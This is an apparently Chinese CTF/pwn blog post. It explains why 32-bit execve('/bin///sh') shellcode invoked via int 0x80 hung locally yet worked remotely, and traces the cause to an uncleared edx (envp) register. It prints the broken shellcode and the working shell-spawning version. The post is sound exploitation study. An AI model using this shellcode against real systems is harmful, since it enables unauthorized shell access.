本文章没有找到对应的语言版本

最近就遇到了这样的怪题目，本地劫持指针到execve()的int 80系统调用的时候，本地会卡住，远程却可以，我的建立的shellcode是这样的：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

	push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    xor ecx, ecx
    push 0x8
    pop eax
    inc eax
    inc eax
    inc eax
    int 0x80

之后调试的时候发现，int调用的时候envp参数有点奇怪,本来应该是0，现在却是The_Pursuit_of_happiness 在这里插入图片描述 这个时候才想起来我envp没有清空，也就是少了一条 xor edx,edx指令，之后加上去后本地就能打通。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

	push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    xor ecx, ecx
    xor edx,edx
    push 0x8
    pop eax
    inc eax
    inc eax
    inc eax
    int 0x80

综上所述pwn本地打不通远程打不通的问题原因之一是由于环境变量指针不一样，远程的环境变量指针可能恰好符合这个程序，而本地的不符合，所以要清0。 所以要按照envp=0调用。

 execve(path='/bin///sh', argv=['sh'], envp=0)

说些什么吧！

utterances
✎